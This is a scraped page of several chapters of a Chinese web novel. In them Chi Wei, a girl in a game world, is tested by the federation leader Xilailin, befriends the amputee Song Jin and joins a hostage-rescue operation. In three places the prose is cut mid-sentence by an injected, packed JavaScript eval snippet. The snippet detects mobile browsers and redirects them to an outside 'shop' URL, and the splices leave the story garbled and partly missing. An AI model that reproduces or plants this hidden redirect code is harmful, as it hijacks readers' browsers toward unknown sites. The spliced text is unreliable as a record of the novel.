“不过我对你也有要求，在成为天神之前，我希望你能完成一些任务，让我看到你的能力。”希莱琳缓缓站起身，“我听说，有一个叫贺洺的男孩，他也很优秀。” “如果你的能力达不到我的要求，我还有其他备选。” 4. 颠覆认知 阁楼实在是太狭窄了，池蔚根本没有自己的私人空间，她在床上静坐到八点，等到蔻茜来检查完毕后又在床上躺了一个小时。 估计所有人已经入睡，她轻手轻脚掀开被子下了床。 她明天要去星湾区执行任务，希莱琳会亲自来接她。所以她今晚必须要做点什么。 池蔚刚下阁楼，冷不丁听到阴影中丹乐的声音。 “你要去哪？” 池蔚捂住肚子，整张脸皱成一团，“楼长，我肚子疼……” 丹乐往阁楼外望了望，从阴影中走出来。大厅正中有一盏微弱的灯，她伸手把灯关掉，整个大厅登时陷入了黑暗。丹乐不冷不热地说：“我要睡了。”说完她靠墙坐下来闭上眼。 池蔚猫着腰小跑出去，隐隐约约听到丹乐在说“早点回来”。她含糊应了声，跑出阁楼，木箱被她埋在阁楼后的大树下面，她用脚探了探位置，随后伸手去挖，直到挖出一个明显的坑。 她的手微微顿住。 自从她进入这个游戏之后，她就察觉到了一件事。她感知的敏锐度远远高于了她在现实世界所拥有的，稍微一点风吹草动都能很快被她捕捉到。 譬如此刻，她无比确定她身后站着一个人。 贺洺抱着手臂，轻蔑地向下看蹲在地上的池蔚，“我会告诉蔻茜老师，你藏了违禁品。” 池蔚淡定地拍掉手上的泥土，转身站起来，“我藏了什么？” 贺洺的左脸肿得很高，他哼了两声：“我看了就知道。”他想把池蔚推到一边，推了几下池蔚始终都不动。 池蔚本来盯着他的眼睛，这会儿视线忍不住下移到他的脸颊，“你考虑清楚，要是你说不出来我藏了什么，我也会同样告诉蔻茜老师。当然你还有另一种选择，当作什么都没发生过离开这里。” 贺洺本来微皱的眉眼忽然绽开，恍然大悟道：“你这么掩饰，那我更应该看看了。” 池蔚轻笑出声，然后侧身，贺洺走过去蹲在坑旁边，几秒后，他伸出双手不住地刨坑。 刨了快五分钟，池蔚慢悠悠地蹲下去，贺洺抬头跟她对视，眼里满是不解，“你只是在挖坑？” 池蔚语气无辜：“不然呢？” 说着她伸出右手，照着他鼓起来的左脸拍下去，边拍边说：“你完了。” 贺洺腾地站起来：“你什么意思？” “你一定在做什么见不得人的事，总有一天我会揭穿你。” “为什么要‘总有一天’，就今天吧，你不是要告老师吗？刚才不是很拽？”池蔚赤脚走到他身前，眉头都没皱一下，这样的炮灰她见多了，在小说里都活不过两章。 贺洺正要开口，脸颊又开始隐隐作痛，他瞪了池蔚一眼，转身朝东阁楼跑去。 天神拥有慈悲纯净的心灵，天神教徒怎么会像她那样暴力邪恶？ *** 希莱琳很早就到了学校，蔻茜站在她身侧，颇为讨好地跟希莱琳讲解：“这四座相对的阁楼是她们的住所……这是东阁楼，这是西阁楼，也就是池蔚住的地方，旁边的……” “蔻茜老师，不用介绍了，”希莱琳打断她，“这是我亲自设计的。” 蔻茜愣了一秒，“原来……” 她入职也不少年了，竟然不知道元首对学校亲力亲为到了这种程度。 希莱琳扫了眼腕表，而后望向西阁楼的窗户，“起床铃要响了。” 话音刚落，伴随着起床铃响起的是各个阁楼里传来的杂乱脚步声。 一群学生就这样跑到了空地上，看见蔻茜后又纷纷站直了身子，眼神怯怯地跟她问好。 蔻茜咳了声，“这位是尊敬的元首希莱琳女士。” 希莱琳在此起彼伏的“愿天神保佑您”中淡淡点头，眼神扫过众人，却没看到池蔚的身影。她无声地询问蔻茜，蔻茜拧住眉，眼神又像鹰隼似的变得锋利。 “她总是恃宠而骄。”蔻茜说，“我去阁楼里找她——阿芙莎！池蔚在做什么？” 阿芙莎愣了愣，身后突然传来女孩的嗫喏。 “我来晚了，抱歉……” 众人循着声音看过去，待看清池蔚的样子后不禁吸了口凉气，蔻茜朝前迈出两步，本就瘦削的脸颊变得扭曲，她指着池蔚齐耳的短发尖叫—— 她头顶又黑又灰，耳边那一圈又是突兀的粉红色。边缘参差不齐，像人造的水泥台阶。 “池蔚！你做了什么！你、你竟敢！”竟敢把长发全都剪掉！ 池蔚双目通红，被蔻茜突如其来的指责吓了一跳，“老师，我……” 蔻茜根本听不见池蔚在说什么，发了狂似的盯着她，咬牙道：“你一次又一次地闯祸，这次我不会再宽恕你。” 希莱琳只是静静站在一旁，看着局促不安地站在原地的池蔚，忽地低头转了一下手上的戒指。 “蔻茜，”她若无其事般将目光放在眼前的学生身上，“听说这里还有很多优秀的——听话的孩子，上次你提起过，有一个好像叫——” 贺洺右手握拳，指甲深深抠进掌心，眼神死死盯住希莱琳的脸，希莱琳感受到一股强烈的视线，她对他露出微笑，“是你吗？” 他仿佛听到了内心深处的召唤，这是他永恒的理想，哪怕他曾对一切阻碍他的人做过不好的事，但在此刻，他觉得就算不被宽恕也没有所谓了，他就要成为天神了。他会以天神之名宽恕自己。 然后他又听到了那个他无比厌恶的声音。 “元首大人，不是他。”池蔚说，“我不清楚您想让我们为您做什么，但是……我能肯定的是他不是您想找的人。” “你有什么资格这么说！”贺洺握紧手中的古德尼经，脸色通红。 “元首大人，蔻茜老师，我想恳求你们为我失去的头发讨回一个公道。”池蔚虔诚地看向她们，“就算你们要因此赶走我，也请不要放过他。” 贺洺皱眉，“我？跟我有什么关系？” 池蔚闻言猛地把头转向贺洺，愤怒和委屈使她的嘴唇微微颤抖，“跟你没有关系吗？你敢说你昨天晚上没有来过西阁楼？” 蔻茜脑袋一阵一阵地疼，“你去了西阁楼？” 他猛地摇头，又微愣住，“不是，我只是路过西阁楼，然后看到池蔚在大树下鬼鬼祟祟……” “我根本就没有动她的头发。” 池蔚吸了吸鼻子，一步一步朝他走过去，“你才不是路过，昨天你不知道从哪里听来元首会见我的消息，眼红得要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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池蔚抬头，丹乐恭敬地把一把剪刀呈到希莱琳面前，“昨晚她哭着上楼，于是我出去看了眼，大树底下有剪刀和她的头发。东阁楼方向有人奔跑的身影。” “她下楼的时候没有拿剪刀，我检查了树底下也没有藏东西。” 希莱琳看向丹乐，丹乐正直的眼神让人难以忽视，她又转头看池蔚，池蔚仍在抽泣。 她伸手把池蔚拎过来，“下不为例。” *** 这是一辆宽敞舒适的豪车，池蔚不认识这个世界的牌子，只能看出来车前的立体车标是一个眺望远方的女神。 这不会就是她们说的天神吧？那希莱琳的首选目标当然不能是贺洺，天神是个女孩儿诶！ 她窝在真皮座椅里，眼睛紧盯着面前的电子屏，她能从上面看到自己的局促。 为了缓解车内的尴尬气氛，池蔚斟酌开口：“这是天然皮革吗？” 她天生对气味很敏感，车内的封闭空间让皮革味充斥在她的鼻间，头晕晕的。 希莱琳沉默了几秒，“你是指什么皮？现在已经没有天然动物了，除非用鱼皮。如果索兰西的国王知道我用珍贵的索沃塔来做真皮座椅，明天整个亚伊联邦就会变成战乱区。” 这几句话对池蔚的冲击力有点太大了，她开始后悔自己的口不择言，要是因此暴露，那也太蠢了。 好在希莱琳面色如常，“你在学校里待了很多年，当时联邦才刚刚开始发生变化，的确无法理解如今的发展。” 池蔚松了口气，以后她一定要谨言慎行，这个世界简直遍地都是坑。 “准备好，接下来你看到的，可能会颠覆你的认知。” 5. 宋锦 豪车平缓地驶在崎岖不平的泥路上，车的性能很好，似乎前面有一个十米大坑才会让车里的人有轻微的颠簸感。 池蔚透过玻璃窗朝外看，建筑矮小破败，人们大多穿着普通，甚至衣服上还打了补丁。他们双目无神地出入街边的店铺。多数是狭小的快餐店和看起来就没有执照的小诊所。 这很平常，在池蔚接管的为数不多的记忆里，天使教会学校本来就建在贫民区，方便没钱的家长把孩子送进去。 这有什么好颠覆认知的，希莱琳没见过穷人？把她池蔚现在从车上“放生”混入人群，只会和谐得不得了，说不定还会得到那些贫民的同情，赏她吃顿好的。 但这些话她不敢说出口，表面很惊讶地跟希莱琳说：“好惨呀……” 希莱琳这才顺着她的眼神看向车外，不理解池蔚在说什么。 “他们应该比你有钱。” ？ 池蔚干笑两声，下一秒整个人都要裂开了。 她原本契合坐垫的臀部猛地下沉，车前的女神车标平静地占据了她视线的高地，她差点尖叫出来。 她和车一起上天了！ 就这么颠了一下，很快车身恢复平稳，轻巧地穿梭在空中，池蔚扒着窗户惊奇不已，只见周围到处都是穿来穿去的飞车，但速度非常快，不知道是不是为了照顾她这个土狗，跟其他车比起来，她们像在坐宝宝巴士。 老天奶，这给她带哪儿来了？ 希莱琳的车应该有特殊的标识，因为空中交通算不上特别畅通，可是她的车方圆十米都没有人靠近。 池蔚努力看外面，隐隐约约看到后面的贫民区，贫民区领空是没有飞车的，明明是同一片天空，中间却有一道无法逾越的鸿沟。而贫民区的天使教会学校，像人为打造的一个反向乌托邦。 到底是为了什么不可告人的秘密？ 希莱琳突然倾身过来，把她的右手腕攥住，问：“谁给你的手环？” 池蔚说：“我哥给的，可能是看我快毕业了，想跟我有个联系吧。” 希莱琳翻转她的手腕，确认这只是一个普通的民用手环，“就用这个也行。我现在给你安装一个系统，之后指令都会在上面发布。” 又来？三个系统？ 池蔚乖顺点头，“那您能屏蔽原系统吗？我想把家事和工作分开。” 那天她特意嘱咐，给游戏系统设了个保护锁并加以隐藏，现在就算加了希莱琳的系统看起来顶多也只是个双系统。 她不想让别人知道游戏系统的存在，也更不想让池塬看到她跟希莱琳的来往。 希莱琳没有异议，边在手环上操作边说：“池塬就在我的手下做事，从来没提过他有个妹妹。” “我最开始也没想到你是他妹妹，直到那天他来找我要审批。” 他主动提起倒才有鬼了，他要怎么介绍她？——这位就是奉献自己供我读军校我却狠心把她抛弃的亲妹妹？“我跟我哥生活分得很开，我不愿意沾他的光，他也不愿意蹭天神的好处。这是我们的家风。” 希莱琳笑了声：“你就没想过他有可能不是你的亲哥哥？” 池蔚老实说：“没想过，元首知道隐情吗？” 说实话，池蔚丝毫不在意池塬是不是她的亲哥哥，难道是亲哥她就会自动加满道德点圣光普照对他高喊peaceandlove？绝不可能。她们之间只能是hateandwar。 希莱琳松开池蔚的手，避过了这个话题，“安装好了，手环会对你进行监测，现在可以看看你的身体数值。” 要当着她的面看吗？ 池蔚有些迟疑，在脑内询问系统，“有希莱琳不能看的东西吗？” 系统很快回应：“玩家不用担心，联邦政府有很多手段获得您的身体数据，但与游戏相关的数值不会出现，同时还会按照您的处境对某些数据加以修饰。” 池蔚放心地点开了。 【姓名：池蔚】 【年龄：19】 【身高：148.5cm体重：33.5kg】 【性别：女】 【等级：四等公民】 【生命值:80/100 武力值：10/100 智力值：80/100 怜悯之心：100/100 邪恶之念：0/100】 【异能：治愈能力A级】 这是用来唬希莱琳的，没什么参考价值。但是身高体重一栏真的让池蔚有点崩溃，她觉得路过一只蚂蚁都能碾死她。由于长期营养不良，学校里的学生几乎都是这么矮小瘦弱。 希莱琳对这些数据没有发表看法，倒是很平静地跟池蔚说：“你的生长速度被抑制了。” 她在电子屏上捣鼓两下，一只机械臂骤然出现在池蔚面前，吓了她一跳。 机械臂捏着一管药剂，精准无误地停在池蔚的手边，她下意识地接过来，听见希莱琳说：“这是解药，缓释药物不会让你一下恢复原有的状态，这样你的身体也能更好适应。大概一周后，你会完全蜕变。” “不过你可能无法避免迟来的生长痛。”她的声音轻飘飘的，就像对待一只小白鼠。 池蔚很想问是谁抑制了她们的生长速度。 希莱琳看出了她的疑惑，但也没明说，“池蔚，这就是权力的好处。你的同学们可能一辈子都不会知道长高的感觉，而你19岁了，还能拥有这种新奇的体验。” 池蔚沉默地把药剂倒进嘴里。 *** 飞车降落星湾军区住宅区。 池蔚第一次这么明显地体会到了亚伊联邦的贫富差距，整个星湾军区住宅区用富丽堂皇来形容都不为过，偏偏刚才在车上跟希莱琳闲聊的时候还被她告知亚伊是大陆上最穷的国家。 …… 街区口有士兵列队欢迎，为首的是一个中年男人。池蔚猜测他的级别应该比池塬高，因为他身边站的小弟身上挂的奖章比池塬挂得多。 按理说，池塬应该是有多少挂多少的人。 果然，希莱琳叫他“宋上将”。 宋上将给希莱琳行礼，然后客气地对池蔚问好，“这位是池小姐吧？以后我们就是一家人了。” 什么意思？希莱琳要给她找寄养家庭吗？！ “池塬是宋上将的准女婿。”希莱琳解释。 池蔚呵呵干笑。 很符合她对池塬的刻板印象。 “这次让你来是参与基地的人质解救行动，你要配合池塬，稍后我会把计划发送给你。”希莱琳耸肩，“我回去等你的好消息。” 希莱琳显然没有要多说几句的意思，宋上将提出要立即回基地制定方案，送走希莱琳后对池蔚说：“池小姐，这个宅子是我家，你哥哥在基地，家里只有我女儿，你们女孩应该很聊得来。” 言外之意是让池蔚去找他女儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055896|149210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不去基地吗？” 宋上将脸色沉下来，语气却依旧礼貌，“你去基地干什么？” 池蔚说：“元首给我下了任务。” “元首也给我下了任务。”宋上将说到这儿有些激动，他早把星湾军区交给池塬来管了，谁知道上任没多久就出了这样的事，逼得他只能亲自出面，“你哥哥已经很让我烦心了。” “哦，那您去吧。”池蔚仰头看他，露出纯真的笑，“我去找您女儿。” 说白了就是看不起她，她现在跟他杠也没什么意思。 她转身进了宅子，一路畅行无阻。光是通向大门的小花园她就走了五分钟，大门是纯白色的，把手崭新，似乎安装了智能系统，识别到池蔚之后很快打开了门。 要踏步进去的时候池蔚略微迟疑，她光脚来的，而屋子里的地板看起来一颗灰尘都没有。 一个智能机器人嗖地窜过来，把拖鞋放在她跟前，机械声响起：“请穿，这是一次性拖鞋。” 意思是不要怕弄脏？机器人还怪好的。 池蔚穿过长廊，在辽阔的客厅尽头看见了一个背影清瘦的女孩，她迎着落地窗而坐，腿上盖着丝绸毯子，手里捧了本纸质书。 听见脚步声后她转过半边身子，笑着叫池蔚过去。 “你好，妹妹，我叫宋锦。”她笑起来有两颗虎牙。 “我叫池蔚。” 宋锦把手边的甜点盘端到池蔚面前，轻快地说：“我知道，你哥哥经常提起你，我一直想找机会来看你。” ……也不用这么善良吧姐姐，她还能不知道池塬？ 池蔚挑出一块糖糕放进嘴巴里，含糊说了声谢谢。 “我叫厨房做了好吃的，一会儿就可以吃午饭了。”宋锦把书放在膝盖上，打量池蔚脏兮兮的这身，“我让你哥哥准备了干净衣服，他没有送去吗？” 怪不得池蔚没提要衣服但池塬在箱子里放了。 “送了，但是在学校只能穿这个。” 宋锦眼里有点心疼闪过，“现在不在学校。我有很多干净的衣服……还有鞋子，要不要去选一些？” 池蔚倒是很自然，“可是我们身材不一样。” 宋锦虽然坐着，但一看就是高挑身材，她的衣服池蔚一定穿不了。 “我小时候还有很多新衣服没来得及穿。”宋锦说完耳尖有点泛红，觉得不该这么说。 好吧，池蔚还是低估了一等公民的富裕。她的衣服确实有点不合身了，而且她现在真的很需要鞋子！ 凭什么池塬可以穿皮靴，她就要光脚啊？！ “那就谢谢姐姐了。”池蔚打心眼里不讨厌宋锦，她平时装的成分居多，这句谢谢很发自肺腑。 “米诺！”宋锦张嘴要喊机器人过来，手不小心碰倒了甜品盘边的水杯。 水杯劈里啪啦碎了一地，池蔚正要躲，宋锦慌乱之中想把池蔚拉到身边，两人一拉扯，池蔚打了个趔趄，滑倒在地。 池蔚都要怀疑宋锦是不是借机报复了，她揉揉摔疼的屁股，起身正想说话，只见宋锦掉了几颗眼泪。 池蔚试探开口：“你怎么了？” 宋锦似乎心里有很大的委屈，咬紧嘴唇不说话。 池蔚看水杯里的红色液体逐渐蔓延到宋锦脚下，浸湿了毯子的边缘，于是建议宋锦起身，“要擦一擦吗？” 宋锦把眼泪一把抹干。 “不用了，我没有腿了。” 6. 解救人质Y？刺杀人质Y “叮” 池蔚还没从震惊中缓过来，手环突然响了。正好机器人米诺过来收拾玻璃碎片，池蔚打开消息，是希莱琳发来的计划书。 这次任务的特殊性主要在于罪犯对联邦政府的挑衅，他挟持人质的据点就在基地旁边的海域。 希莱琳要池蔚不惜一切代价救回人质Y。 池蔚很疑惑，她是表面武力值只有10的治愈系，除了物理救人，还能怎么救人？感化罪犯么？ 她看向计划书的下一句——前提是保证活捉罪犯。 原因不详。 希莱琳大概是料到救人质不是什么难事，可是同时还要保证罪犯的安全就有点难度了，更何况罪犯选择在联邦最中心的军区劫持人质，本身就透露出一种不想活的感觉。 池蔚想了想，大概可以通过消极的方式完成任务。她只要跟攻击人员协商好，让他们把罪犯打得只留一口气，然后自己再用异能治愈他就好了。 也不是很难办。 她望了眼仍处在悲伤中的宋锦，没必要去打探她的私事，不过可以转移她的注意力，于是随口问道：“你应该知道这件事吧？罪犯的诉求是什么？” 宋锦一愣，艰难地说：“用Y的命……换池塬的命。” 如果池蔚是这次行动的指挥官，那么她一定会毫不犹豫地选择满足罪犯的诉求。可惜她不是。 希莱琳发送的计划书附件里有不少视听资料，池蔚猜测是关于罪犯跟池塬的关系。池塬到底怎么惹了他？ 池蔚坐在宋锦身侧的秋千上荡来荡去，心里很放松，有一搭没一搭地跟宋锦聊起来，想让宋锦尽量不再想腿的事情。又是“叮”一声，她还没来得及开手环，脑内响起了游戏系统的声音。 【支线任务到达——刺杀人质Y】 池蔚差点从秋千上荡下来。 她从来没有这么狼狈地去找过拒绝键，关键是，根本没有拒绝选项。 只有明晃晃几个字。【必做支线任务】 【注意：任务过程中请遵守卡牌规则】 ……如何在精神不分裂的情境下完成自相矛盾的两个任务？ 池蔚淡定地打开希莱琳发送过来的资料。 资料显示，挟持人质Y的罪犯两年前是星湾市最大的帮派头目，烧杀抢掠无恶不作，严重危害了联邦的稳定和安全。在一次官方清剿活动中，帮派竟然胆大到挟持了对方长官的女儿，当时池塬只是一名普通的士兵，却义无反顾地闯入敌方老巢，不仅成功救出人质，还策反了帮派的二把手——Y。 池蔚大脑飞速运转，透过落地窗直射过来的阳光盯着宋锦。 宋锦呆呆地望着小花园，好像刚才那个温暖和善的女孩从没存在过。 池蔚没说话，冷静地翻看Y被策反后发生的事。池塬救出人质后得到了长官的赞赏和感激，他的仕途变得顺利，很快平步青云，不仅脱离了五等公民的身份，还一跃成为了二等公民，这在联邦是前所未有的。后来成为长官，他身边多了位叫做Y的副官。池塬晋升的途径说怪也不怪，充其量能说是运气好。 可是池蔚不太相信运气。 宋锦好像想到了什么，紧绷的身体终于有了一丝抖动，她的双肩微微发颤，痛苦地用双手捂住了嘴，不想让自己发出声音，很快，她的呼吸声越来越大，池蔚觉得她就要窒息了。 池蔚大声喊“米诺！”，机器人以极快的速度握着药瓶过来，强制要把药丸送进宋锦的嘴里，可宋锦却很抗拒，池蔚没办法，只能倾身而上，用力把宋锦的嘴掰开。 宋锦吞下药丸之后很惊恐地看池蔚，池蔚讪笑着从她身上下来，然后用很害怕的语气说：“姐姐没事吧？” 宋锦大概是有很严重的ptsd，池蔚不想给自己惹上麻烦，打算独自去基地找其他人问，宋锦却很快平静开口。 “你有什么想问的，我都可以告诉你。” 池蔚说：“不用了，你在家好好休息，我哥很快会回来的。” 如果她没有忍不住对池塬出手的话，池塬应该可以安全回来。 宋锦通红的眼睛慢慢肿胀，显得她整个人更无助了。她似乎是在极力压制自己的情绪，“没有人比我更清楚两年前发生了什么……我知道，希莱琳女士想考验你，行动成功的话，你就可以永远离开学校了。” 宋锦善良得过分，池蔚想。但她还是不可遏制地把人往坏处想，池塬也无比希望她能通过考验，说不定天族的身份真能给他带来什么好处。 宋锦好像知道池蔚在想什么，她咧嘴笑，两颗虎牙很白。 “我跟你哥哥关系没那么好，所以你不用担心。” 池蔚愣了愣，“关系不好但订婚？” “我永远记得两年前那一天，亚历7月3日，我在祈祷场祝祷后正常回家，不知道为什么上车之后就昏迷了，醒来发现自己在一个陌生的地方。我很冷静，我知道我的家人会来救我，更何况我觉醒了异能，在陆地上我比联邦任何一个人都跑得快。”说到这，宋锦视线向下，看了眼自己的腿，红肿的眼睛淬了冷意，“但是他们好像也知道。我的异能备案被我的家人设置了保密程序，我不知道为什么他们会知道。” 池蔚有点懂了，所以他们……弄断了她的腿？ “我父亲说，池塬7月4日就申请了潜入敌营，但我在7月6日那天才看见他，就在被打断双腿的十小时后。”宋锦笑了一声，“我知道我不该埋怨他，他能来救我已经很好了。但是所有人都让我报答他，我给了他很多钱，可他却向我父亲请求跟我订婚。” “我父亲答应了，就像跟池塬结婚的是他自己一样。” “我的抗争没什么用，我失去了最引以为傲的双腿，我成了一个废物。” 池蔚把所有信息整合在一起，脑子里有了很多猜想，最后她问：“元首告诉我，现在联邦发生了翻天覆地的变化，就像你的米诺，它不是人但比人更有智慧，我是说……你可以安装义肢？” 宋锦闻言把膝盖上的书拿开，池蔚才注意到那是一本医学书，看来宋锦这两年一直没有放弃过。 她一把扯开盖在腿上的毯子，池蔚不由得睁大了眼。那是一对泛着金属光泽的机械腿，虽然她从没接触过，但这个机械腿的精密程度一看就是上等货。 宋锦眼里却闪过厌恶，“这是第九对了，每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055897|149210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对都挺不过排异期。明天这对义肢就要被拆了。” ……池蔚不知道说什么，说什么都没办法安慰宋锦。即使她拥有A级治愈能力，可宋锦早就截肢了，她没办法做到治愈。 “那你认识Y吗？” “认识。”宋锦吸了口气，想让自己平静下来，“后来我想过，要不就接受这个事实吧。可是池塬总能让人对他更加厌恶，他居然让Y做了他的副官！他居然让Y自由出入我的房子！就这样大摇大摆地出现在我眼前！！” 她越来越激动，米诺已经准备好药丸了。 “他知不知道，就是Y亲手打断了我的腿！” - 池蔚想办法跟米诺一起把宋锦送进了房间躺下，宋锦此时有点虚弱，轻声对米诺说：“把小衣柜打开。” 米诺幽幽地过去，把房间里最小的那个衣橱推开，里面是琳琅满目的小尺寸衣服，看起来很适合池蔚。 宋锦侧头跟池蔚说：“其实米诺没有比人更智慧，我曾经见过渗透进生活每个角落的人工智能，但是亚伊联邦起步晚，没有先进的技术，听说其那联邦现在的科技就要比肩大陆研究中心了。如果有机会的话，走出亚伊去看看，到时候可以讲给我听。” “你可以自己去看的。”池蔚不明不白说了这句话，然后径直走向衣橱，拿了件黑色短袖T和长裤，又从地上拎了双小号军靴，“你不会因为池塬而恨我吗？” 宋锦平躺在床上，“为什么恨你？我第一次听说你的事情之后只觉得你可怜，跟我一样可怜。池塬像一只怪物，任何靠近他的人都会被他吸掉鲜血化成养分。所以我希望你能成功，我也会为你感到高兴。” “希莱琳女士是个好人，她会帮助你。” 池蔚眸色暗淡了下，走之前问宋锦：“你有通讯吗？我想加你的通讯。” 宋锦愣了愣，然后不好意思地吩咐米诺去找手环，“我已经很久没跟外界联系过了，手环也不知道被我放去哪里……” 池蔚从米诺手上夺过宋锦的手环，在上面输入了自己的通讯码，然后把手环轻轻扔到宋锦手边，“我走啦。” 宋锦笑着跟她打招呼，望着手环发了发呆。打算让米诺把手环放回去，毕竟她很久不用了，再戴着只会徒增伤感。她拿起手环，瞟到池蔚的通讯界面，池蔚的ID是：【超级弑亲者·蔚】 她露出虎牙，把手环套上腕间。 *** 宋锦通过米诺交代了门口的警卫将池蔚送去基地，警卫有些迟疑，跟池蔚说：“小姐，事实上宅子里除了我已经没有警卫了，池中将把所有的人调去了基地支援。” 池蔚挑眉，“那你留在这里，我有地图，给我一辆车就好。” 警卫给池蔚推了辆炫酷机车，然后把头盔递给她，“您会骑吗？” 池蔚沉默了两秒，在引擎声中留下了一个同样炫酷的背影。 警卫忍不住在心里感叹了下，真是小小的身体大大的能量啊。结果轰鸣声却越来越近，池蔚在警卫面前滑停，警卫透过黑色头盔看池蔚的眼睛：“您还有事？” 池蔚扬头：“把你的通讯留给我，宋锦有事立刻传讯。” 7. 袁队长 基地建在海边，军舰整齐列队，随时准备向着对面的目的地出发。 整个基地指挥部忙作一团，应该是希莱琳提前打了招呼，池蔚顺利进了指挥部中心，没有人拦她。警卫甚至主动给她打开了警戒线。 早上喝的反抑制药剂好像开始起效了，池蔚隐隐约约觉得膝盖周围的肌肉开始抽痛。 她观察指挥中心内部，看到四周全是密布的黑压压的电子仪器。于是小声问了一个过路的抱着资料的军官，“长官姐姐，请问这里面会屏蔽信号吗？”军官低头看到池蔚，很快反应过来：“你的民用手环会被屏蔽，只要不进指挥中心就没事，如果想在指挥中心正常使用手环，我可以帮你安装内部系统。你是中将的妹妹吗？他在最里面。”她伸手给池蔚指了个方向。 “安装就不用了，谢谢姐姐。”池蔚很有礼貌。于是军官忍不住拍拍她的头，“真乖，还会说谢谢。” 池蔚一阵难受。她只是生长速度有问题，不是智力有缺陷啊。 属于她的一米八什么时候才会来？ 池蔚往后退了两步走出指挥中心打开手环，给希莱琳发送了定位消息，“元首，我已到达指挥部，信号被屏蔽，如果联系不上我，请不要着急。” 发送完毕，池蔚点击了切换系统，切了池塬给她安的那个，ID叫超级弑亲者。她本来不想让池塬知道她跟宋锦的交流，但是很可惜，系统数量有限。这是权衡之下最好的选择了。 这次行动她需要跟宋锦保持联系，而这不能被希莱琳知道，希莱琳不会允许她产生邪念和恶意，哪怕一点点。 - 按照刚刚军官指的方向池蔚一路走到最里面，远远看见了池塬和宋上将，然而他们看起来气氛并不融洽，周围的军官和士兵都屏着呼吸不敢吭声，池塬腾地从位置上站起来，下一秒被赏了个耳光。 宋上将气得不轻，池蔚猫着腰移动过去，由于体积小，并没有人发现她。于是她安心地找了个指挥台做掩体，听宋上将数落池塬。 “两年前你就没能把宋锦完整地救出来！现在元首亲自下命令把人质安安全全地救回来，甚至还要给刀安留个活口，你却跟我说要把他们一起炸死？你是不是存心跟我对着干？！” “不过就是让你去把Y换回来，你就这么怂吗？我真是后悔让你跟宋锦在一起。” 池塬低头安静地听着宋上将说话，等他不说了，才开口：“父亲……” “别叫我这个！” “上将，”池塬脸上有个清晰的红色巴掌印，“这次跟两年前不一样，星湾海域最近很不太平，索兰西的海洋生物来了，据海保署的同事说，有很多变异种入侵。用我的命完成任务可以，要是被变异种袭击，可能会污染整个海域乃至联邦……” 宋上将不以为然，对身边的副官说：“马上跟海保署联系，请他们派一个行动小队来协助。” “而你，必须去。”宋上将凑近池塬的耳边，一字一句地说，“我确实是只有宋锦这一个女儿，但她废了并不代表我就必须选择你。不要妄想逃出我的掌控，我能打造一个你，就能打造无数个你。” 池蔚扯了下池塬的袖子打断他们，池塬嫌恶地把手移开，宋上将看到她哼了两声，转而面向指挥屏。 “我要跟元首说你们都不配合我。”池蔚耸肩。 “配合？”池塬睨她一眼，不知道刚才他被训的话被她听了多少。 “对啊，元首说让你们协助我。”池蔚费劲地把储存好的计划书翻出来，上面有希莱琳的署名，而希莱琳确实是给她下了直接命令并允许她对指挥部的人进行必要调遣，“你们完全可以不用这么紧张，这其实是我的事。” 宋上将转身，“你什么意思？” “我快毕业了，我对元首有用，嗯……怎么解释呢？相当于分配工作？但是要有个试用期，这就是我的第一个试用期。”池蔚说，“不然只是救个Y其实很容易，元首是想给我上难度呢。” 她倒是看得起自己，元首根本就没跟他提过什么要重用她的话。宋上将一个眼神都不想再给这对兄妹。 池塬却听进去了，“元首说了，你通过考验之后就让你……” “嗯哼，”池蔚骄傲地抬头，“你要帮我吗？” 她无论如何都要把池塬给带过去，原因无他，他既然这么抗拒，就一定要让他去。 池塬有些犹豫，“我可以远程指挥，必要时给你一切支援。” “你要让我一个人去？”池蔚瞪大眼，实在是不可思议，池塬这么怕死，怎么混到中将的位置的？ 宋上将也是气笑了，“我现在就下命令，池塬，你给我打头阵！必须去！” 事已至此，池塬也没办法再拒绝，他站起身，认真对宋上将说：“上将，既然这样，那我带池蔚和海保小队去。这样可以最大程度降低我方的伤亡。” 宋上将同意了。 池蔚不知道海保署是干什么的，但是大概可以从他们的对话里推测，他们的任务应该是消灭海洋里的变异种。 - 大概过了十五分钟，池蔚听到直升机掠过头顶的轰鸣声，海保小队很快进了指挥部中心。 池塬这次没有迟疑，跟带头的队长袁琦打了个招呼。 袁琦点头示意，随后问他：“小锦呢？” 池塬勉强回答，“在家。” “我刚进来的时候看到她家的警卫了，小锦安全么？”她皱起眉。 宋上将闻言不悦道：“袁队长，你来这儿是有任务的，不用担心宋锦，我派了人在家守着她。” 池蔚此时弱弱从角落里举起手，小声附和：“对呀对呀，我哥留了一个警卫守在门口，宋锦姐不会有事的。” 袁琦立即看向池塬：“一个警卫？” “你怎么能留她独自待在家里？” 池塬脑子已乱作一团，“还有米诺在，她不会有事。更何况，刀安在我们的监控范围内……” 只听一声冷笑，袁琦说：“你可别忘了两年前。” “好了！别再吵了！”宋上将冲二人吼道，“我会派人回去，你们只需要立刻前往海域。” 袁琦的队员也适时走上前，劝袁琦不要再生气。 